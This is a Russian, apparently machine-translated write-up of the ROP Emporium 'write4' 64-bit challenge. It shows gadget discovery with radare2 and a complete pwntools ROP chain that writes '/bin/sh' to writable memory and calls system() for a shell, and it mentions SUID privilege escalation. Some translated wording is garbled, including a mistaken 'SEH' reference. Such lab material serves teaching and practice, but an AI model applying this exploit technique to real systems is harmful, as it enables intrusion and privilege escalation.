Завершив наши обычные проверки на наличие интересных строк и символов в этом двоичном файле, мы сталкиваемся с абсолютной истиной, что нашей любимой строки «/ bin / cat flag.txt» на этот раз нет. Хотя позже вы увидите, что есть другие способы решения этой проблемы, такие как разрешение динамически загружаемых библиотек и использование строк, присутствующих в них, мы будем придерживаться цели задачи, которая состоит в том, чтобы научиться получать данные на виртуальный адрес целевого процесса. космос с помощью магии ROP.
Хорошо, мы знаем, что для этого нам понадобятся некоторые гаджеты, поскольку мы отошли от простых вещей ROP, теперь мы становимся немного сложнее. На самом деле есть несколько способов решить эту проблему, но об этом немного позже, и мы можем вернуться к этому позже. А пока просто попробуйте и продолжайте. Не забудьте сначала прочитать другие сообщения, которые помогут понять, как и почему мы закончили с последним эксплойтом.
День 3: разделение ROP Emporium (64-разрядная версия)
Я открою вам секрет; эта полезная строка «/ bin / cat flag.txt все еще присутствует в этом двоичном файле, как и вызов… medium.com »
Записываемая память
Мы знаем, что хотим где-то написать, но где? Для этого мы можем использовать r2, чтобы показать нам разделы памяти rw.
19 0x00000e10 8 0x00600e10 8 -rw- .init_array 20 0x00000e18 8 0x00600e18 8 -rw- .fini_array 21 0x00000e20 8 0x00600e20 8 -rw- .jcr 22 0x00000e28 464 0x00600e28 464 -rw- .dynamic 23 0x00000ff8 8 0x00600ff8 8 -rw- .got 24 0x00001000 80 0x00601000 80 -rw- .got.plt 25 0x00001050 16 0x00601050 16 -rw- .data 26 0x00001060 0 0x00601060 48 -rw- .bss
Как видите, мы можем писать в довольно много мест, поскольку они доступны для чтения и записи (-rw-), некоторые области памяти имеют оговорки, такие как размер, которые мы рассмотрим в следующих публикациях. А пока мы продолжим запись в глобальную таблицу смещений (got), хотя .data также работает.
24 0x00001000 80 0x00601000 80 -rw- .got.plt
Выполнение системного вызова
Нам нужно где-то писать, поэтому мы хотим написать где-нибудь «/ bin / sh», а затем, когда мы будем готовы, вставить «/ bin / sh» в rdi, чтобы выполнить системный вызов.
x86_64 syscall ()
+---------+------+------+------+------+------+------+
| syscall | arg0 | arg1 | arg2 | arg3 | arg4 | arg5 |
+---------+------+------+------+------+------+------+
| %rax | %rdi | %rsi | %rdx | %r10 | %r8 | %r9 |
+---------+------+------+------+------+------+------+
Мы можем использовать afl в r2, чтобы получить системный адрес ...
[0x00400650]> afl 0x004005a0 3 26 sym._init 0x004005d0 1 6 sym.imp.puts 0x004005e0 1 6 sym.imp.system 0x004005f0 1 6 sym.imp.printf 0x00400600 1 6 sym.imp.memset 0x00400610 1 6 sym.imp.__libc_start_main 0x00400620 1 6 sym.imp.fgets 0x00400630 1 6 sym.imp.setvbuf 0x00400640 1 6 sub.__gmon_start_400640 0x00400650 1 41 entry0 0x00400680 4 50 -> 41 sym.deregister_tm_clones 0x004006c0 4 58 -> 55 sym.register_tm_clones 0x00400700 3 28 sym.__do_global_dtors_aux 0x00400720 4 38 -> 35 entry.init0 0x00400746 1 111 sym.main 0x004007b5 1 82 sym.pwnme 0x00400807 1 17 sym.usefulFunction 0x00400830 4 101 sym.__libc_csu_init 0x004008a0 1 2 sym.__libc_csu_fini 0x004008a4 1 9 sym._fini
Гаджеты
Мы хотим записать в раздел .got.plt, поэтому нам нужно сначала извлечь данные из стека в регистр, а затем переместить их в нужное место.
Для этого нам потребуются инструкции pop, mov и ret:
Instruction Description --------------------------------------------------------------------pop [destination] | pops the top stack var to [destination] --------------------------------------------------------------------mov [destination], [source]| moves [source] content into -------------------------------------------------------------------- ret | return from current procedure --------------------------------------------------------------------
Но как нам выбрать наш гаджет, ну, если бы мы были такими прилежными, как следовало бы, мы бы заметили это при проверке системы ...
CALL XREF из sym.usefulFunction (0x400810)
Перекрестные ссылки (или просто внешние ссылки) - это функция дизассемблеров, показывающая, откуда были вызваны определенные функции и объекты или какие функции и объекты используются конкретной функцией. Мы можем упростить его, связав его как XREF-To и XREF-From. Ссылка может быть либо данными, либо кодом.
Итак, у нас есть перекрестная ссылка из sym.usefulFunction (0x400810), давайте посмотрим…
Итак, мы подключаем его к отладчику, устанавливаем точку останова, достигаем точки останова, и в этот момент мы видим полезные функции, что это?
Отлично, mov qword ptr [r14], r15; ret - это именно то, что мы хотим.
Итак, теперь у нас есть все необходимое ...
0x004005e0 sym.imp.system 0x00601000 .got.plt 0x0000000000400890 pop r14 ; pop r15 ; ret 0x0000000000400820 mov qword ptr [r14], r15 ; ret 0x0000000000400893 pop rdi ; ret
Теоретически мы делаем это ...
- Начните с заполнения 40 байтов («A» * 40)
- RSP перемещается дважды к более высокому адресу, затем выполняется ret для настройки SEH Exploit
- Затем мы добавляем в стек адрес записываемой памяти.
- Затем мы записываем «/ bin / sh \ x00» в доступную для записи память.
- Затем мы открываем rdi и выполняем ret, чтобы подготовиться к системному вызову.
- Наконец, мы выполняем системный вызов, когда все настроено и «/ bin / sh \ x00» находится в регистре RDI.
Последний подвиг
from pwn import * data_seg = 0x00601000 system_plt = 0x4005e0 # RIP offset is at 40 rop = "A" * 40 # Write "/bin/sh" to data_seg # First gadget creates condition for SEH pop_r14_r15 = 0x0000000000400890 # pop r14 ; pop r15 ; ret rop += p64(pop_r14_r15) rop += p64(data_seg) rop += "/bin/sh\x00" mov_r15_to_r14 = 0x0000000000400820 # mov qword ptr [r14], r15 ; ret rop += p64(mov_r15_to_r14) # Call system("/bin/sh") pop_rdi = 0x0000000000400893 # pop rdi ; ret rop += p64(pop_rdi) rop += p64(data_seg) rop += p64(system_plt) # Start process and send rop chain e = process('write4') print e.recv() e.sendline(rop) e.interactive()
Эксплойт в действии, обманутый запуском от имени root, но если бы этот двоичный файл имел разрешение SUID, а я был пользователем с низким уровнем привилегий, это было бы здорово для повышения привилегий.